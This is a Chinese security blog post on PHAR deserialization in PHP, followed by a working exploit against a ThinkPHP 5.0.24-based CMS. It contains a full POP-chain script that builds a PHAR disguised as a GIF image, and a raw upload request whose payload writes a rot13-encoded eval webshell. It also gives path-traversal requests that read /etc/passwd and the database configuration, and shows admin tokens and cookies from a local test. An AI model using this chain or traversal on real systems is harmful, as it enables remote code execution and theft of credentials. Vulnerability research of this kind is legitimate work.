前半部分是抄的,不想总结了。主要看漏洞利用实例

前言

最近闲来无事挖了挖了,几个关Thinkphp二次开发的CMS,发现几个可利用的phar反序列化漏洞

随着 Web 安全不断发展,反序列化漏洞已成为一种被广泛利用的攻击手段,特别是在 PHP 生态中。PHAR(PHP Archive)文件作为一种用于打包 PHP 应用程序的格式,其简便的封装方式和执行能力让它成为了攻击者青睐的目标。2015 年,Stefan Esser 在 Black Hat USA 2015 演讲中首次揭示了 PHP 中 PHAR 反序列化漏洞 的严重性。这一漏洞允许攻击者通过构造特制的恶意 PHAR 文件,绕过 PHP 内置的安全机制,执行任意代码,给 Web 应用带来了极大的风险。

尽管这一漏洞已经被公开多年,但它依然在某些情况下可以被有效利用,特别是对于缺乏适当输入验证和安全配置的应用程序。本文将深入探讨 PHAR 反序列化漏洞 的原理、发现过程以及实际利用方式,旨在帮助开发者和安全研究人员理解这一攻击模式并采取相应的防护措施。

除了unserialize()来利用反序列化漏洞之外,还可以利用phar文件以序列化的形式存储用户自定义的meta-data这一特性,扩大php反序列化漏洞的攻击面。该方法在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar反序列化漏洞

phar描述

PHAR(PHP Archive)是 PHP 的一个档案格式,它允许将多个 PHP 文件、资源和库打包成一个文件,类似于 Java 的 JAR 文件或 Python 的 ZIP 文件。通过使用 PHAR,开发者可以方便地将 PHP 程序和相关的资源打包成一个文件,方便分发和部署。

PHAR 文件是压缩的,可以包含 PHP 文件、图片、配置文件等,解压后直接可以运行。PHP 的内置扩展支持加载和执行 PHAR 文件内容。一般情况下,PHAR 文件可以通过 phar:// 协议直接访问。

PHAR 文件的常见用途包括:

  • 将 PHP 程序或库打包为一个独立的文件,方便分发。

  • 作为应用程序的一个模块或插件。

  • 便于压缩和优化代码,减少文件数量。

phar文件的结构

phar文件都包含以下几个部分:

1. stub
    phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
    被压缩文件的内容
4. signature (可空)
    签名,放在末尾。

生成一个phar文件

php内置了一个phar类来处理相关操作。

注意:这里要将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

(如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。)

<?php
    class TestObject {
    }
​
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

执行这个php文件,会生成一个phar.phar文件。打开查看可以看到Meta-data的内容是以序列化的形式储存的。

shengchengpharphp.jpg

xuliehua.jpg

php在解析这个phar的时候,还会对meta-data数据进行一次反序列化。PHP底层代码:

phpdiceng.png

通过反序列化,我们就能够控制一些类的变量进行利用。

漏洞利用条件

  • phar文件要能够上传到服务器端。

  • 要有可用的反序列化漏洞利用链。

  • 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

受影响的文件操作函数

  • fileatime

  • file_ put contents

  • fileinode

  • is_dir

  • is_readable

  • copy

  • filectime

  • file

  • filemtime

  • is_executable

  • is_writable

  • unlink

  • file_exists

  • filegroup

  • fileowner

  • is_file

  • is_writeable

  • stat

  • file_get_contents

  • fopen

  • fileperms

  • is_link

  • parse_ini_file

  • readfile

  • exif_thumbnail

  • exif_thumbnail

  • imageloadfont

  • imagecreatefrom***

  • hash_hmac_file

  • hash_file

  • hash_update_file

  • md5_file

  • sha1_file

  • get_meta_tags

  • get_headers(这个不太确定没试出来)

  • getimagesize

  • getimagesizefromstring

  • postgres

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFilepg_trace同样也是能使用的,只是它们需要开启phar的写功能。

  • mysql

<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

再配置一下mysqld。

[mysqld]
local-infile=1
secure_file_priv=""

漏洞的利用实例

简单案例

// phar.php
<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>
index.php
<?php
class TestObject {
  public $name;
​
  function __destruct()
  {
    echo $this -> name;
  }
}
if ($_GET["file"]){
  file_exists($_GET["file"]);
}
?>

使用php phar.php生成phar.phar文件。

访问:http://127.0.0.1/index.php?file=phar://phar.phar

返回:Threezh1。 反序列化利用成功。

example01.jpg

骑某 CMS v3.44.0

嘿嘿 想看啊 那就关注咯

利用思路

下面都是本地登录后台测试

测试前需要找到以下几个利用点

  • 有文件上传的点(随便一个点附件上传图片上传

  • 存在反序列化漏洞(Thinkphp v5.24.0 反序列化利用链)

  • 有一个触发反序列化的地方(\app\apiadmin\controller\Upgrade::download

文件上传

后台上传附件的点

POST /index.php?s=apiadmin/upload/attach HTTP/1.1
Host: 127.0.0.1
Content-Length: 1813
sec-ch-ua-platform: "macOS"
admintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary45m5eoX47unvnRrB
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/admin/
Accept-Encoding: gzip, deflate, br
Cookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1
Connection: keep-alive
​
------WebKitFormBoundary45m5eoX47unvnRrB
Content-Disposition: form-data; name="file"; filename="poc.jpg"
Content-Type: image/jpeg
​
GIF<?php __HALT_COMPILER(); ?>
••••••••••••••••••�•••O:27:"think\process\pipes\Windows":1:{s:34:"•think\process\pipes\Windows•files";a:1:{i:0;O:17:"think\model\Pivot":5:{s:6:"parent";O:20:"think\console\Output":2:{s:9:"•*•styles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"•think\console\Output•handle";O:30:"think\session\driver\Memcached":1:{s:10:"•*•handler";O:23:"think\cache\driver\File":2:{s:10:"•*•options";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG['n']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"•*•tag";s:2:"xx";}}}s:9:"•*•append";a:1:{s:4:"test";s:8:"getError";}s:7:"•*•data";a:1:{s:7:"panrent";s:4:"true";}s:8:"•*•error";O:27:"think\model\relation\HasOne":5:{s:5:"model";b:0;s:15:"•*•selfRelation";b:0;s:9:"•*•parent";N;s:8:"•*•query";O:14:"think\db\Query":1:{s:8:"•*•model";O:20:"think\console\Output":2:{s:9:"•*•styles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"•think\console\Output•handle";O:30:"think\session\driver\Memcached":1:{s:10:"•*•handler";O:23:"think\cache\driver\File":2:{s:10:"•*•options";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG['n']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"•*•tag";s:2:"xx";}}}}s:11:"•*•bindAttr";a:1:{s:2:"xx";s:2:"xx";}}s:8:"•*•model";s:4:"test";}}}••••test.txt••••d�g•••••~•ؤ•••••••testUxGb•9#2P;�T) �"����••••GBMB
------WebKitFormBoundary45m5eoX47unvnRrB--
​

存在反序列化利用链

thinkphp v5.0.24 存在一个利用链能够直接rce

image-20250303154302954

poc

<?php
namespace think\cache\driver;
​
class File {
    protected $options = [];
    protected $tag;
    public function __construct() {
        $this->tag = 'gg';
        $this->options = [
            'cache_subdir'  => false,
            'prefix'        => '',
            'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php',
            'data_compress' => false
        ];
    }
}
​
namespace think\session\driver;
use think\cache\driver\File;
​
class Memcached {
    protected $handler;
    function __construct() {
        $this->handler=new File();
    }
}
​
namespace think\console;
use think\session\driver\Memcached;
​
class Output {
    protected $styles = [];
    private $handle;
    function __construct() {
        $this->styles = ["getAttr", 'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning'];
        $this->handle = new Memcached();
    }
}
​
namespace think\db;
use think\console\Output;
​
class Query {
    protected $model;
    function __construct() {
        $this->model = new Output();
    }
}
​
namespace think\model\relation;
use think\console\Output;
use think\db\Query;
​
class HasOne {
    public $model;
    protected $selfRelation;
    protected $parent;
    protected $query;
    protected $bindAttr = [];
    public function __construct() {
        $this->query = new Query("xx", 'think\console\Output');
        $this->model = false;
        $this->selfRelation = false;
        $this->bindAttr = ["xx" => "xx"];
    }}
​
namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;
​
abstract class Model {
}
​
class Pivot extends Model {
    public $parent;
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $model;
​
    function __construct() {
        $this->parent = new Output();
        $this->error = new HasOne();
        $this->model = "test";
        $this->append = ["test" => "getError"];
        $this->data = ["panrent" => "true"];
    }
}
​
namespace think\process\pipes;
use Phar;
use think\model\Pivot;
​
class Windows {
    private $files = [];
    public function __construct() {
        $this->files=[new Pivot()];
    }
}
​
$obj = new Windows();
​
​
$phar = new Phar('poc.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($obj);  //将自定义meta-data存入manifest
$phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
​
​
​

触发反序列化

前面又在文中提到phar触发反序列的方式,与文件操作相关的。

\app\apiadmin\controller\Upgrade::download

image-20250303154918843

在这个方法中,首先会打开$path,就可直接触发反序列。

image-20250303155019679

而此时$path,没有经过任何处理,就被传入$file->download($path, $save_file, false);

image-20250303155124331

所以这里还一个漏洞就是任意文件读取,我们简单来利用一下

GET /index.php?s=/apiadmin/Upgrade/download&path=../../../../../../etc/passwd&timestamp= HTTP/1.1
Host: 127.0.0.1
sec-ch-ua-platform: "macOS"
admintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/admin/
Accept-Encoding: gzip, deflate, br
Cookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1
Connection: keep-alive
​
​

随后访问http://127.0.0.1/upgrade/zip/passwd/passwd_.zip

即可获得/etc/passwd

image-20250303155254026

当然读数据库文件也是可以的

http://127.0.0.1/index.php?s=/apiadmin/Upgrade/download&path=../application/database.php&timestamp=

image-20250303155607673

http://127.0.0.1/upgrade/zip/database/database_.zip

image-20250303155634100

利用过程

生成恶意的附件

<?php
namespace think\cache\driver;
​
class File {
    protected $options = [];
    protected $tag;
    public function __construct() {
        $this->tag = 'gg';
        $this->options = [
            'cache_subdir'  => false,
            'prefix'        => '',
            'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php',
            'data_compress' => false
        ];
    }
}
​
namespace think\session\driver;
use think\cache\driver\File;
​
class Memcached {
    protected $handler;
    function __construct() {
        $this->handler=new File();
    }
}
​
namespace think\console;
use think\session\driver\Memcached;
​
class Output {
    protected $styles = [];
    private $handle;
    function __construct() {
        $this->styles = ["getAttr", 'info',
            'error',
            'comment',
            'question',
            'highlight',
            'warning'];
        $this->handle = new Memcached();
    }
}
​
namespace think\db;
use think\console\Output;
​
class Query {
    protected $model;
    function __construct() {
        $this->model = new Output();
    }
}
​
namespace think\model\relation;
use think\console\Output;
use think\db\Query;
​
class HasOne {
    public $model;
    protected $selfRelation;
    protected $parent;
    protected $query;
    protected $bindAttr = [];
    public function __construct() {
        $this->query = new Query("xx", 'think\console\Output');
        $this->model = false;
        $this->selfRelation = false;
        $this->bindAttr = ["xx" => "xx"];
    }}
​
namespace think\model;
use think\console\Output;
use think\model\relation\HasOne;
​
abstract class Model {
}
​
class Pivot extends Model {
    public $parent;
    protected $append = [];
    protected $data = [];
    protected $error;
    protected $model;
​
    function __construct() {
        $this->parent = new Output();
        $this->error = new HasOne();
        $this->model = "test";
        $this->append = ["test" => "getError"];
        $this->data = ["panrent" => "true"];
    }
}
​
namespace think\process\pipes;
use Phar;
use think\model\Pivot;
​
class Windows {
    private $files = [];
    public function __construct() {
        $this->files=[new Pivot()];
    }
}
​
$obj = new Windows();
​
​
$phar = new Phar('poc.phar');
$phar -> startBuffering(); //开始缓冲 Phar 写操作
$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //要压缩的文件
$phar -> setMetadata($obj);  //将自定义meta-data存入manifest
$phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
​
​
​

这里吧 poc.phar,改成一个图片的后缀,就行了

image-20250303155733060

触发phar

image-20250303155920816

此时就会生成两个恶意的文件(啊,你问我为什么,thinkphp的链啊 看这里->我也不知道哪找的文章

image-20250303160359764

最后再来一张

image-20250303160546641

某某CMS(提交官方了,暂时不让公布)

免责声明

免责声明

本文所涉及的技术信息仅供安全研究与学习使用,旨在提升信息安全意识,帮助安全研究人员和开发者更好地理解和防范相关安全风险。

责任声明:

  1. 本文所提供的信息仅供合法、合规的安全研究与学习使用,严禁用于任何非法目的。

  2. 任何人不得利用本文提供的技术信息进行未经授权的攻击行为,包括但不限于渗透测试、恶意利用、数据泄露、破坏系统等。

  3. 本文所述知识不得用于开发、传播、销售或使用任何形式的攻击性工具、自动化利用工具或恶意软件

  4. 作为本文的唯一作者,我不支持、不鼓励、不参与任何形式的网络攻击行为。若使用本文所述信息进行攻击或其他恶意活动,行为人应对其行为及其后果负责,我不承担任何法律责任

  5. 我不对任何由于使用或误用本文信息而造成的直接或间接损失承担任何责任。

  6. 如果该技术信息涉及特定厂商或软件,我建议相关方尽快进行安全加固,并呼吁读者遵守负责任的漏洞披露流程。

  7. 所有涉及的漏洞信息已及时告知相关厂商,并建议他们进行修复和加固。

法律合规提醒:

请确保您在遵守相关法律法规的前提下使用本文信息。如有任何疑问,请咨询专业法律人士或相关机构。

参考